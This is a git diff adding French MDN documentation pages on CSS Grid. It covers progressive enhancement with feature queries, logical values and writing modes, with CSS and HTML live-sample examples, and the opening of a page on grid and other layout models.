+  background-color: #fff4e6;
+  max-width: 600px;
+  margin: 0 auto;
+}
+
+.wrapper li {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper ul {
+  margin: 0 -10px;
+  padding: 0;
+  list-style: none;
+}
+
+.wrapper li {
+  display: inline-block;
+  vertical-align: top;
+  width: calc(33.333333% - 20px);
+  margin: 0 10px 20px 10px;
+}
+@supports (display: grid) {
+  .wrapper ul {
+    display: grid;
+    grid-template-columns: repeat(3, 1fr);
+    grid-gap: 20px;
+    margin: 0;
+  }
+  .wrapper li {
+    width: auto;
+    margin: 0;
+  }
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;ul&gt;
+    &lt;li class="card"&gt;
+      &lt;h2&gt;Un&lt;/h2&gt;
+      &lt;p&gt;On peut utiliser la grille CSS pour surcharger d'anciennes méthodes.&lt;/p&gt;
+    &lt;/li&gt;
+    &lt;li class="card"&gt;
+      &lt;h2&gt;Deux&lt;/h2&gt;
+      &lt;p&gt;On peut utiliser la grille CSS pour surcharger d'anciennes méthodes.&lt;/p&gt;
+    &lt;/li&gt;
+    &lt;li class="card"&gt;
+      &lt;h2&gt;Trois&lt;/h2&gt;
+      &lt;p&gt;On peut utiliser la grille CSS pour surcharger d'anciennes méthodes.&lt;/p&gt;
+    &lt;/li&gt;
+    &lt;li class="card"&gt;
+       &lt;h2&gt;Quatre&lt;/h2&gt;
+       &lt;p&gt;On peut utiliser la grille CSS pour surcharger d'anciennes méthodes.&lt;/p&gt;
+    &lt;/li&gt;
+    &lt;li class="card"&gt;
+       &lt;h2&gt;Cinq&lt;/h2&gt;
+       &lt;p&gt;On peut utiliser la grille CSS pour surcharger d'anciennes méthodes.&lt;/p&gt;
+    &lt;/li&gt;
+    &lt;li class="card"&gt;
+      &lt;h2&gt;Six&lt;/h2&gt;
+      &lt;p&gt;On peut utiliser la grille CSS pour surcharger d'anciennes méthodes.&lt;/p&gt;
+    &lt;/li&gt;
+  &lt;/ul&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{EmbedLiveSample('enhancement_4', '500', '480')}}</p>
+</div>
+
+<p>Ici aussi, il faut reparamétrer la largeur de l'élément puis améliorer les autres propriétés. Dans cet exemple également on a utilisé <code>grid-gap</code> plutôt que des marges et des marges négatives pour créer les « gouttières ».</p>
+
+<h2 id="Comment_la_spécification_gère-t-elle_cette_surcharge">Comment la spécification gère-t-elle cette surcharge ?</h2>
+
+<p>La spécification sur les grilles CSS détaille comment on peu surcharger le comportement de certaines propriétés lorsqu'un élément devient un objet d'une grille. Les sections principales sur ce sujet sont :</p>
+
+<ul>
+ <li><a href="https://drafts.csswg.org/css-grid/#grid-containers">La création de conteneurs de grille (<em>Establishing Grid Containers</em>)</a></li>
+ <li><a href="https://drafts.csswg.org/css-grid/#grid-items">Les objets de la grille (<em>Grid Items</em>)</a></li>
+ <li><a href="https://drafts.csswg.org/css-grid/#grid-item-display">L'affichage d'un objet de la grille (<em>Grid Item Display</em>)</a></li>
+</ul>
+
+<p>Ce comportement est détaillé dans la spécification et on peut donc l'utiliser pour surcharger les règles utilisées pour les navigateurs qui ne prennent pas en charge les grilles CSS. Ce que nous avons appliqué n'est pas une bidouille, on tire simplement parti de l'interaction entre les différents modes de disposition, tel que décrit dans la spécification.</p>
+
+<h3 id="Les_autres_valeurs_de_display">Les autres valeurs de <code> display</code></h3>
+
+<p>Lorsqu'un élément possède un parent pour lequel <code>display: grid</code>, cet élément devient un bloc (cf. <a href="https://drafts.csswg.org/css-display-3/#blockify">la specification</a>). C'est pour cela que, pour l'élément qui utilisait <code>inline-block</code>, <code>display: inline-block</code> ne s'appliquait plus.</p>
+
+<p>Si la disposition historique utilise <code>display: table</code>, un élément avec <code>display: table-cell</code> génèrera des boîtes anonymes. Aussi, si on utilise <code>display: table-cell</code> sans élément parent avec <code>display-table</code>, un tableau implicite sera créé autour des cellules adjacentes (comme si on a avait enveloppé le tout dans un <code>div</code> ou autre pour lequel on aurait défini <code>display: table</code>). Si on a un objet pour lequel <code>display: table-cell</code> et que, dans une requête de fonctionnalité, on utilise <code>display: grid</code> pour l'élément parent, il n'y aura plus de création de boîtes anonymes. Cela signifie qu'on peut surcharger <code>display: table</code> sans avoir ces boîtes anonymes supplémentaires.</p>
+
+<h3 id="Les_éléments_flottants">Les éléments flottants</h3>
+
+<p>Comme nous l'avons déjà vu, {{cssxref("float")}}, ainsi que {{cssxref("clear")}} n'ont aucun effet sur un objet de grille. Il n'est donc pas nécessaire d'utiliser explicitement <code>float: none</code> sur les éléments.</p>
+
+<h3 id="L'alignement_vertical">L'alignement vertical</h3>
+
+<p>La propriété d'alignement {{cssxref("vertical-align")}} n'a aucun effet sur un objet d'une grille. Pour les dispositions qui utilisent <code>display: inline-block</code> ou <code>display: table</code>, la propriété <code>vertical-align</code> était utilisée pour réaliser des alignements basiques. Avec une disposition en grille, on peut utiliser les propriétés d'alignement des boîtes sur la grille, plus puissantes.</p>
+
+<h3 id="La_disposition_sur_plusieurs_colonnes">La disposition sur plusieurs colonnes</h3>
+
+<p>Il est aussi possible de partir d'une disposition sur plusieurs colonnes car les propriétés <code>column-*</code> ne s'appliquent pas sur un conteneur de grille.</p>
+
+<h2 id="Approfondir_la_question">Approfondir la question</h2>
+
+<ul>
+ <li>Pour mieux comprendre comment utiliser les requêtes média en CSS, vous pouvez lire <a href="https://hacks.mozilla.org/2016/08/using-feature-queries-in-css/">cet excellent article de Hacks</a>.</li>
+ <li>Un récapitulatif des différences d'implémentation entre celle utilisée par IE/Edge ≤15 et celle qui décrit la version moderne de la spécification. Cet article évoque également la prise en charge d'<em>autoprefixer</em> : <em><a href="https://rachelandrew.co.uk/archives/2016/11/26/should-i-try-to-use-the-ie-implementation-of-css-grid-layout/">Should I try to use the IE implementation of CSS Grid Layout?</a></em></li>
+ <li><a href="https://github.com/postcss/autoprefixer#grid-autoplacement-support-in-ie">Autoprefixer et le placement automatique des grilles pour IE</a></li>
+ <li><a href="https://css-tricks.com/css-grid-in-ie-css-grid-and-the-new-autoprefixer">Les grilles CSS et la nouvelle version d'Autoprefixer</a></li>
+</ul>
+
+<p>{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_et_l_accessibilité", "Web/CSS/CSS_Grid_Layout/Modèle_de_grille_et_autres_modèles_de_disposition","Web/CSS/CSS_Grid_Layout")}}</p>
diff --git a/files/fr/web/css/css_grid_layout/les_grilles_css_les_valeurs_logiques_les_modes_d_écriture/index.html b/files/fr/web/css/css_grid_layout/les_grilles_css_les_valeurs_logiques_les_modes_d_écriture/index.html
new file mode 100644
index 0000000000..cbc0501498
--- /dev/null
+++ b/files/fr/web/css/css_grid_layout/les_grilles_css_les_valeurs_logiques_les_modes_d_écriture/index.html
@@ -0,0 +1,452 @@
+---
+title: 'Les grilles CSS, les valeurs logiques et les modes d''écriture'
+slug: >-
+  Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_les_valeurs_logiques_les_modes_d_écriture
+tags:
+  - CSS
+  - CSS Grids
+  - Grilles CSS
+  - Guides
+  - Intermédiaire
+translation_of: 'Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes'
+---
+<div>{{CSSRef}}</div>
+
+<p>{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Alignement_des_boîtes_avec_les_grilles_CSS", "Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_et_l_accessibilité","Web/CSS/CSS_Grid_Layout")}}</p>
+
+<p>Dans les articles précédents, nous avons évoqué un aspect important de la disposition en grille : la prise en charge des différents modes d'écriture. Dans ce guide, nous nous intéresserons plus particulièrement à cette fonctionnalité ainsi qu'aux autres méthodes modernes de disposition. Cela sera également l'occasion d'en apprendre plus sur les modes d'écritures et la notion de propriété logique/physique.</p>
+
+<h2 id="Les_propriétés_logiques_les_propriétés_physiques_et_les_valeurs">Les propriétés logiques, les propriétés physiques et les valeurs</h2>
+
+<p>CSS possède de nombreux mots-clés qui permettent de positionner <strong>physiquement</strong> les éléments : <code>left</code>, <code>right</code>, <code>top</code>, <code>bottom</code>… Si on positionne un élément de façon absolue, on utilisera ces mots-clés physiques comme valeurs pour indiquer le décalage de l'élément. Dans le fragment de code suivant, l'élément est décalé de 20 pixels depuis le haut du conteneur et de 30 pixels depuis le bord gauche du conteneur.</p>
+
+<pre class="brush:css">.container {
+  position: relative;
+}
+.item {
+  position: absolute;
+  top: 20px;
+  left: 30px;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="container"&gt;
+  &lt;div class="item"&gt;Item&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>On rencontre également ces mots-clés physiques avec <code>text-align: right</code> afin d'aligner le texte à droite. Il existe aussi des propriétés <strong>physiques</strong> en CSS. On ajoute des marges, du remplissage, des bordures grâces à cs propriétés physiques comme {{cssxref("margin-left")}}, {{cssxref("padding-left")}}, etc.</p>
+
+<p>On qualifie ces propriétés de physiques car elles concernent l'écran qu'on regarde : la gauche sera toujours la gauche, quelle que soit la direction du texte.</p>
+
+<p>Cela peut devenir un problème lorsqu'on développe un site qui doit fonctionner avec plusieurs langues dont certaines sont écrites de droite à gauche et non de gauche à droite. Les navigateurs savent plutôt bien gérer les différentes directions d'écriture. Dans l'exemple qui suit, on a deux paragraphes. Pour le deuxième, aucune propriété {{cssxref("text-align")}} n'est utilisée, alors que pour le second, on utilise <code>text-align</code> avec <code>left</code> et on ajoute <code>dir="rtl"</code> sur l'élément HTML ce qui a pour effet de changer la direction d'écriture. On peut voir que, dans le second paragraphe, la direction change et le texte est écrit de droite à gauche. Dans le premier cependant, avec <code>text-align value: left</code>, l'alignement reste à gauche.</p>
+
+<p><img alt="A simple example of text direction." src="https://mdn.mozillademos.org/files/14733/8_direction_simple_example.png" style="height: 354px; width: 1136px;"></p>
+
+<p>Cela illustre un problème fréquent avec les propriétés et valeurs physiques en CSS : elles empêchent le navigateur de passer correctement d'un mode d'écriture à l'autre.</p>
+
+<h3 id="Les_propriétés_et_valeurs_logiques">Les propriétés et valeurs logiques</h3>
+
+<p>Les propriétés et les valeurs logiques n'émettent pas d'hypothèse quant à la direction du texte. C'est pour cette raison, qu'avec les grilles CSS, on utilise le mot-clé <code>start</code> lorsqu'on souhaite aligner quelque chose au début du conteneur. Quand on travaille en français ou en anglais, <code>start</code> correspondra à la gauche mais ce n'est pas nécessairement toujours le cas, <code>start</code> ne correspond pas à une position physique.</p>
+
+<h2 id="L'axe_de_bloc_et_l'axe_en_ligne">L'axe de bloc et l'axe en ligne</h2>
+
+<p>Lorsqu'on commence à travailler avec les propriétés logiques plutôt qu'avec les propriétés physiques, on cesse de voir le monde comme un espace qui va de gauche à droite et de haut en bas. Il faut de nouveaux axes de références : l'axe de bloc (<em>block axis</em> en anglais) et l'axe en ligne (<em>inline axis</em>). Le premier est l'axe orthogonal au sens d'écriture et le second est l'axe dans lequel on écrit. Ces axes <em>logiques</em> sont très utiles et on comprend mieux leurs rôles sur la grille.</p>
+
+<p><img alt="An image showing the default direction of the Block and Inline Axes." src="https://mdn.mozillademos.org/files/14735/8-horizontal-tb.png" style="height: 256px; width: 500px;"></p>
+
+<h2 id="Les_modes_d'écriture_CSS">Les modes d'écriture CSS</h2>
+
+<p>Nous allons ici aborder une autre spécification que nous allons utiliser dans nos exemples : la spécification CSS sur les modes d'écriture (<em>CSS Writing Modes</em>). Cette spécification régit comment les différents modes d'écriture peuvent être utilisés en CSS, pas seulement pour prendre en charge différentes langues mais aussi pour créer des effets artistiques. Nous allons utiliser la propriété {{cssxref("writing-mode")}} afin de modifier le mode d'écriture appliqué à la grille pour observer comment fonctionnent les valeurs logiques. Si vous souhaitez approfondir ces notions autour des modes d'écriture, vous pouvez consulter l'article <a href="https://24ways.org/2016/css-writing-modes/"><em>CSS Writing Modes</em> (en anglais)</a> écrit par Jen Simmons.</p>
+
+<h3 id="writing-mode"><code>writing-mode</code></h3>
+
+<p>Les modes d'écriture ne se limitent pas à l'écriture de droite à gauche ou de gauche à droite, la propriété <code>writing-mode</code> nous permet d'afficher du texte dans plusieurs directions. La propriété {{cssxref("writing-mode")}} peut prendre les valeurs suivantes :</p>
+
+<ul>
+ <li><code>horizontal-tb</code></li>
+ <li><code>vertical-rl</code></li>
+ <li><code>vertical-lr</code></li>
+ <li><code>sideways-rl</code></li>
+ <li><code>sideways-lr</code></li>
+</ul>
+
+<p>Sur le Web, c'est la valeur <code>horizontal-tb</code> qui est la valeur par défaut pour le texte. C'est dans cette direction que vous lisez cet article. Les autres valeurs changeront la façon dont le texte est écrit sur le document et correspondent aux modes d'écriture utilisés dans d'autres langues. Dans l'exemple qui suit, on a deux paragraphes, le premier utilise la valeur par défaut <code>horizontal-tb</code> et le second utilise la valeur <code>vertical-rl</code>. Dans ce deuxième mode, le texte est toujours écrit de gauche à droite mais la direction du texte est verticale. Dans ce deuxième paragraphe, l'axe en ligne (<em>inline</em>) est donc l'axe vertical.</p>
+
+<div id="writing_1">
+<div class="hidden">
+<pre class="brush: css">.wrapper &gt; p {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  margin: 1em;
+  color: #d9480f;
+  max-width: 300px;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;p style="writing-mode: horizontal-tb"&gt;Mon mode d'écriture est celui par défaut &lt;code&gt;horizontal-tb&lt;/code&gt;&lt;/p&gt;
+  &lt;p style="writing-mode: vertical-rl"&gt;Moi je suis écrit avec &lt;code&gt;vertical-rl&lt;/code&gt;&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{EmbedLiveSample('writing_1', '500', '420')}}</p>
+</div>
+
+<h2 id="La_gestion_des_modes_d'écriture_avec_une_grille">La gestion des modes d'écriture avec une grille</h2>
+
+<p>Si on reprend l'exemple avec la grille, on comprend mieux l'effet du changement du mode d'écriture qui change les axes logiques.</p>
+
+<p>Dans le prochain exemple, la grille possède trois colonnes et deux lignes. Cela signifie qu'il y a trois pistes qui traversent l'axe de bloc. Avec le mode d'écriture par défaut, la grille commence par placer les objets en haut à gauche  en remplissant les trois cellules sur la première ligne avant de passer à la suivante, en formant une nouvelle ligne, etc.</p>
+
+<div id="writing_2">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 100px);
+  grid-template-rows: repeat(2, 100px);
+  grid-gap: 10px;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="item1"&gt;Objet 1&lt;/div&gt;
+  &lt;div class="item2"&gt;Objet 2&lt;/div&gt;
+  &lt;div class="item3"&gt;Objet 3&lt;/div&gt;
+  &lt;div class="item4"&gt;Objet 4&lt;/div&gt;
+  &lt;div class="item5"&gt;Objet 5&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{EmbedLiveSample('writing_2', '500', '330')}}</p>
+</div>
+
+<p>Si on ajoute <code>writing-mode: vertical-lr</code> au conteneur de la grille, on peut voir que les axes logiques s'appliquent désormais dans une autre direction. L'axe de bloc (aussi appelé l'axe des colonnes pour la grille) s'étend maintenant de gauche à droite et l'axe en ligne court verticalement.</p>
+
+<div id="writing_3">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+  writing-mode: vertical-lr;
+  display: grid;
+  grid-template-columns: repeat(3, 100px);
+  grid-template-rows: repeat(2, 100px);
+  grid-gap: 10px;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="item1"&gt;Objet 1&lt;/div&gt;
+  &lt;div class="item2"&gt;Objet 2&lt;/div&gt;
+  &lt;div class="item3"&gt;Objet 3&lt;/div&gt;
+  &lt;div class="item4"&gt;Objet 4&lt;/div&gt;
+  &lt;div class="item5"&gt;Objet 5&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{EmbedLiveSample('writing_3', '500', '330')}}</p>
+</div>
+
+<p><img alt="A image showing the direction of Block and Inline when writing-mode is vertical-lr" src="https://mdn.mozillademos.org/files/14737/8-vertical-lr.png" style="height: 360px; width: 257px;"></p>
+
+<h2 id="L'utilisation_de_valeurs_logiques_pour_l'alignement">L'utilisation de valeurs logiques pour l'alignement</h2>
+
+<p>Dans les exemples précédents, on a vu comment les axes de bloc et en ligne pouvaient changer de direction, nous allons voir maintenant comment tirer partir des valeurs logiques des propriétés d'alignement.</p>
+
+<p>Dans le prochain exemple, on aligne des objets dans une grille pour laquelle <code>writing-mode: vertical-lr</code>. Les valeurs <code>start</code> et <code>end</code> fonctionnent de la même façon qu'avec le mode d'écriture par défaut mais, parce qu'elles sont logiques, on voit que la grille est bien renversée.</p>
+
+<div id="writing_4">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+  writing-mode: vertical-lr;
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-template-rows: repeat(3, 100px);
+  grid-gap: 10px;
+}
+
+.item1 {
+  grid-column: 1 / 4;
+  align-self: start;
+}
+
+.item2 {
+  grid-column: 1 / 3;
+  grid-row: 2 / 4;
+  align-self: start;
+}
+
+.item3 {
+  grid-column: 3;
+  grid-row: 2 / 4;
+  align-self: end;
+  justify-self: end;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="item1"&gt;Objet 1&lt;/div&gt;
+  &lt;div class="item2"&gt;Objet 2&lt;/div&gt;
+  &lt;div class="item3"&gt;Objet 3&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{EmbedLiveSample('writing_4', '500', '330')}}</p>
+</div>
+
+<p>Si vous souhaitez voir l'effet obtenu avec une écriture verticale de haut en bas et de droite à gauche, il suffit de passer de <code>vertical-lr</code> à <code>vertical-rl</code> pour changer de mode d'écriture.</p>
+
+<h2 id="Le_placement_automatique_et_les_modes_d'écriture">Le placement automatique et les modes d'écriture</h2>
+
+<p>On a vu dans l'exemple précédent que lorsqu'on changeait de mode d'écriture, cela changeait également la direction selon laquelle les éléments étaient placés sur la grille. Par défaut, les éléments sont placés en progressant sur l'axe en ligne, jusqu'à la fin de la ligne, une nouvelle ligne est ensuite créée si besoin mais cette ligne ne progresse pas nécessairement de gauche à droite.</p>
+
+<h2 id="Le_placement_sur_les_lignes_et_les_modes_d'écriture">Le placement sur les lignes et les modes d'écriture</h2>
+
+<p>Il faut garder à l'esprit que lorsqu'on place des objets sur les lignes, la ligne 1 sera toujours la ligne de départ, quel que soit le mode d'écriture et la ligne -1 sera toujours la ligne de fin.</p>
+
+<p>Dans l'exemple suivant, on a une grille avec la direction <code>ltr</code> et on positionne trois objets en utilisant le placement sur les lignes.</p>
+
+<ul>
+ <li>L'objet 1 commence à la colonne 1 et occupe une piste</li>
+ <li>L'objet 2 commence à la colonne -1 et occupe -3 pistes</li>
+ <li>L'objet 3 commence à la colonne 1 et s'étend jusqu'à la troisième colonne.</li>
+</ul>
+
+<div id="writing_5">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-template-rows: repeat(2, 100px);
+  grid-gap: 10px;
+}
+.item1 {
+  grid-column: 1 ;
+}
+.item2 {
+  grid-column: -1 / -3;
+}
+.item3 {
+  grid-column: 1 / 3;
+  grid-row: 2;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="item1"&gt;Objet 1&lt;/div&gt;
+  &lt;div class="item2"&gt;Objet 2&lt;/div&gt;
+  &lt;div class="item3"&gt;Objet 3&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{EmbedLiveSample('writing_5', '500', '330')}}</p>
+</div>
+
+<p>Si on ajoute alors la propriété {{cssxref("direction")}} avec la valeur <code>rtl</code> pour le conteneur de la grille, la colonne 1 sera la plus à droite et la colonne 1 sera à gauche.</p>
+
+<div id="writing_6">
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+  direction: rtl;
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-template-rows: repeat(2, 100px);
+  grid-gap: 10px;
+}
+.item1 {
+  grid-column: 1 ;
+}
+.item2 {
+  grid-column: -1 / -3;
+}
+.item3 {
+  grid-column: 1 / 3;
+  grid-row: 2;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="item1"&gt;Objet 1&lt;/div&gt;
+  &lt;div class="item2"&gt;Objet 2&lt;/div&gt;
+  &lt;div class="item3"&gt;Objet 3&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{EmbedLiveSample('writing_6', '500', '330')}}</p>
+</div>
+
+<p>On voit ici que si on change la direction du texte pour la page ou pour une partie de la page : la disposition change selon lees numéros de lignes. Si on ne veut pas que les lignes bougent, on pourra utiliser des lignes nommées pour éviter cet effet.</p>
+
+<h3 id="L'étrange_ordre_des_valeurs_pour_grid-area">L'étrange ordre des valeurs pour <code>grid-area</code></h3>
+
+<p>La propriété {{cssxref("grid-area")}} permet d'indiquer les quatre lignes qui définissent une zone. Lorsqu'on apprend à utiliser cette propriété, on se surprend à voir que les quatre valeurs ne suivent pas le même ordre que celui utilisé par les propriétés raccourcies pour les marges (pour celles-ci, les valeurs suivent le sens horaire : haut, droit, bas, gauche).</p>
+
+<p>Pour les valeurs de <code>grid-area</code>, l'ordre est le suivant :</p>
+
+<ul>
+ <li><code>grid-row-start</code></li>
+ <li><code>grid-column-start</code></li>
+ <li><code>grid-row-end</code></li>
+ <li><code>grid-column-end</code></li>
+</ul>
+
+<p>Si on transpose ces valeurs à un système d'écriture de gauche à droite, cela correspond aux valeurs physiques suivantes :</p>
+
+<ul>
+ <li><code>top</code></li>
+ <li><code>left</code></li>
+ <li><code>bottom</code></li>
+ <li><code>right</code></li>
+</ul>
+
+<p>Ce qui correspond… au sens anti-horaire ! L'ordre est l'inverse de celui utilisé pour les marges et le remplissage. Pour comprendre, mieux vaut voir la propriété <code>grid-area</code> comme une propriété logique qui fonctionne selon les axes de bloc et en ligne : on commence donc avec les deux lignes de départ puis les deux lignes d'arrivée. Cet ordre est plus « logique » !</p>
+
+<h2 id="Utiliser_des_modes_d'écriture_hybrides_et_les_grilles_CSS">Utiliser des modes d'écriture hybrides et les grilles CSS</h2>
+
+<p>Les modes d'écritures permettent d'afficher les documents en respectant les règles d'affichage de la langue utilisé. On peut également les utiliser afin de créer des effets stylistiques. Dans l'exemple ci-après, on a une grille avec du texte et des liens qui seront affichés verticalement, à côté du texte.</p>
+
+<div id="writing_7">
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-gap: 20px;
+  grid-template-columns: 1fr auto;
+  font: 1em Helvetica, Arial, sans-serif;
+}
+.wrapper nav {
+  writing-mode: vertical-lr;
+}
+.wrapper ul {
+  list-style: none;
+  margin: 0;
+  padding: 1em;
+  display: flex;
+  justify-content: space-between;
+}
+.wrapper a {
+  text-decoration: none;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="content"&gt;
+    &lt;p&gt;Turnip greens yarrow ricebean rutabaga endive cauliflower sea lettuce kohlrabi amaranth water spinach avocado daikon napa cabbage asparagus winter purslane kale. Celery potato scallion desert raisin horseradish spinach carrot soko. Lotus root water spinach fennel kombu maize bamboo shoot green bean swiss chard seakale pumpkin onion chickpea gram corn pea. Brussels sprout coriander water chestnut gourd swiss chard wakame kohlrabi beetroot carrot watercress. Corn amaranth salsify bunya nuts nori azuki bean chickweed potato bell pepper artichoke.&lt;/p&gt;
+    &lt;p&gt;Nori grape silver beet broccoli kombu beet greens fava bean potato quandong celery. Bunya nuts black-eyed pea prairie turnip leek lentil turnip greens parsnip. Sea lettuce lettuce water chestnut eggplant winter purslane fennel azuki bean earthnut pea sierra leone bologi leek soko chicory celtuce parsley jícama salsify.&lt;/p&gt;
+  &lt;/div&gt;
+  &lt;nav&gt;
+    &lt;ul&gt;
+      &lt;li&gt;&lt;a href=""&gt;Lien 1&lt;/a&gt;&lt;/li&gt;
+      &lt;li&gt;&lt;a href=""&gt;Lien 2&lt;/a&gt;&lt;/li&gt;
+      &lt;li&gt;&lt;a href=""&gt;Lien 3&lt;/a&gt;&lt;/li&gt;
+    &lt;/ul&gt;
+  &lt;/nav&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{EmbedLiveSample('writing_7', '500', '330')}}</p>
+</div>
+
+<h2 id="Les_valeurs_physiques_et_les_grilles_CSS">Les valeurs physiques et les grilles CSS</h2>
+
+<p>On rencontre souvent les propriétés physiques lorsqu'on construit un site web et, bien que la grille et les propriétés logiques permettent de respecter les modes d'écriture, il existe certains effets qui ne peuvent être obtenus qu'avec des propriétés et des valeurs physiques. Dans le guide sur <a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Alignement_des_boîtes_avec_les_grilles_CSS">l'alignement des boîtes et les grilles</a>, nous avons vu comment utiliser les marges automatiques sur les zones d'une grille. Utiliser les marges automatiques pour contraindre le placement d'un élément est une astuce qu'on rencontre aussi avec les boîtes flexibles mais cela couple la disposition avec l'espace physique.</p>
+
+<p>Si on utilise le positionnement absolu dans une zone d'une grille, là encore, on utilisera des décalages physiques pour décaler l'élément au sein de la zone. Dans ces cas, il faut être conscient du couplage qu'on ajoute avec l'espace physique et comprendre qu'il faudra adapter la feuille de style si on veut par exemple passer d'un mode <code>ltr</code> à un mode <code>rtl</code>.</p>
+
+<h3 id="Utiliser_les_propriétés_logiques_partout">Utiliser les propriétés logiques partout</h3>
+
+<p>Les nouvelles méthodes de disposition, comme les grilles, permettent d'employer les valeurs logiques afin de placer les éléments. Cependant, dès qu'on combine ces valeurs avec des propriétés physiques, il faut maintenir ces dernières lorsque le mode d'écriture change.</p>
+
+<p>La <a href="https://drafts.csswg.org/css-logical-props/">spécification sur les propriétés logiques en CSS</a> vise à résoudre ce problème. Nous pourrons peut-être utiliser demain des <a href="/fr/docs/Web/CSS/CSS_Logical_Properties">équivalents logiques</a> pour chacune des propriétés physiques telles que {{cssxref("margin-left")}} et {{cssxref("margin-right")}}. Firefox a déjà implémenté ces propriétés logiques et vous pouvez les y tester. En utilisant les grilles et en manipulant l'axe de bloc et l'axe de ligne, vous saurez également comment fonctionnent ces propriétés logiques à venir.</p>
+
+<p>{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Alignement_des_boîtes_avec_les_grilles_CSS", "Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_et_l_accessibilité","Web/CSS/CSS_Grid_Layout")}}</p>
diff --git a/files/fr/web/css/css_grid_layout/modèle_de_grille_et_autres_modèles_de_disposition/index.html b/files/fr/web/css/css_grid_layout/modèle_de_grille_et_autres_modèles_de_disposition/index.html
new file mode 100644
index 0000000000..9f31864e55
--- /dev/null
+++ b/files/fr/web/css/css_grid_layout/modèle_de_grille_et_autres_modèles_de_disposition/index.html
@@ -0,0 +1,588 @@
+---
+title: Le modèle de grille et les autres modèles de disposition
+slug: Web/CSS/CSS_Grid_Layout/Modèle_de_grille_et_autres_modèles_de_disposition
+tags:
+  - CSS
+  - CSS Grids
+  - Guide
+  - Intermédiaire
+translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout
+---
+<div>{{CSSRef}}</div>
+
+<p>{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_et_l_amélioration_progressive", "Web/CSS/CSS_Grid_Layout/Construire_des_dispositions_courantes_avec_des_grilles_CSS","Web/CSS/CSS_Grid_Layout")}}</p>
+
+<p>Le mode de disposition en grille a été conçu afin de pouvoir fonctionner avec les autres composantes de CSS pour construire un système complet de disposition. Dans ce guide, nous expliquerons comment intégrer une grille CSS parmi d'autres techniques que vous pourriez déjà utiliser.</p>
+
